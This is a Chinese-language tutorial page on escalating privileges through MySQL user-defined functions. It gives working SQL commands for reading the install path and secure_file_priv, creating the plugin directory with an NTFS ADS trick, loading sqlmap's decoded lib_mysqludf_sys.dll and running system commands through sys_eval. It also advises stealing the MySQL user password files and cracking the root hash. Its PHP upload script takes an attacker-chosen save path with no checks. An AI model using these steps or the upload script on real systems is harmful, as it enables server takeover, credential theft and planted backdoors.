1. 程式人生 > 實用技巧 >UDF提權

UDF提權

一、資訊蒐集

1、賬號密碼

MYSQL所有設定預設都儲存在“D:\phpStudy\2018\PHPTutorial\MySQL\data”中,也就是安裝程式的data目錄下,有關使用者一共有三個檔案即user.frm、user.MYD和 user.MYI,MYSQL資料庫使用者密碼都儲存在user.MYD檔案中,包括root使用者和其他使用者的密碼。在有許可權的情況下,我們可以將User.frm、user.myd和User.myi三個檔案下載到本地,通過本地的mysql環境直接讀取user表中的資料。當然也可使用文字編輯器將user.MYD開啟將root賬號的密碼複製出來到到cmd5.com進行查詢和破解

2、檢視資料庫安裝路徑

select @@basedir;

3、檢視是否允許匯入|匯出

show variables like '%secure%';

show global variables like 'secure%';
     當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許匯入|匯出,此時無法提權
     當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的匯入|匯出只能發生在 /tmp/ 目錄下
     當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的匯入|匯出做限制,此時可提權

secure_file_priv 的值在MySQL資料庫的安裝目錄的 my.ini 檔案中配置中,沒有代表secure_file_priv 的值為 NULL,可以手動新增

4、檢視mysql版本

select version();

5、檢視mysql是多少位

select @@version_compile_os;

二、UDF提權條件

(1)Mysql版本大於5.1版本udf.dll檔案必須放置於MYSQL安裝目錄下的lib\plugin資料夾下。

(2)Mysql版本小於5.1版本。udf.dll檔案在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。

(3)掌握的mysql資料庫的賬號有對mysql的insert和delete許可權以建立和拋棄函式,一般以root賬號為佳,具備root賬號所具備的許可權的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的許可權。

三、提權

一般提權都在拿到了一個低許可權,在考慮的

1、建立plugin目錄

  • NTFS ADS流來建立資料夾的方法
select @@basedir; //查詢到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS建立lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS建立plugin目錄

執行成功以後就會plugin目錄,然後再進行匯出udf.dll即可。
  • 建立一個上傳檔案
<?php
$temp = explode(".", $_FILES["file"]["name"]);       
$img_path = $_GET['save_path']."/". $_FILES["file"]["name"] ;  
move_uploaded_file($_FILES["file"]["tmp_name"], "$img_path" );
echo "檔案儲存在: " . "$img_path" . $_FILES["file"]["name"];
?>
  • 目錄建立檔案
    上傳一個PHP指令碼
<?php

//用於建立資料夾
$name = $_GET['name'];
/*iconv方法是為了防止中文亂碼,保證可以建立識別中文目錄,不用iconv方法格式的話,將無法建立中文目錄*/
$dir = iconv("UTF-8", "GBK",$name);
/**mkdir方法的第一個引數是要建立的目錄路徑,
**第二個引數是指建立目錄的許可權,在windows系統下
 **該引數會被忽略,第三個引數是指是否建立多級目錄,
**預設為false
**/
if (!file_exists($dir)){
    if(@mkdir ($dir)){
    	echo $dir;
    }else{
    	echo "error";
    }
}
?>

2、上傳udf.dll

SQLmap可以實現匯出dll檔案,目錄在 sqlmap/udf/mysql/windows(這裡的32位/64位,指的是mysql的位數),如果位數錯誤則會報錯。
SQLmap裡的duf.dll是經過編碼的使用 sqlmap/extra/cloak目錄下的 cloak.py進行解碼

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o udf.dll

將生成的 udf.dll 上傳到 lib/plugin

3、建立函式

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

4、執行命令

select sys_eval ('whoami');

5、刪除函式

drop function sys_eval;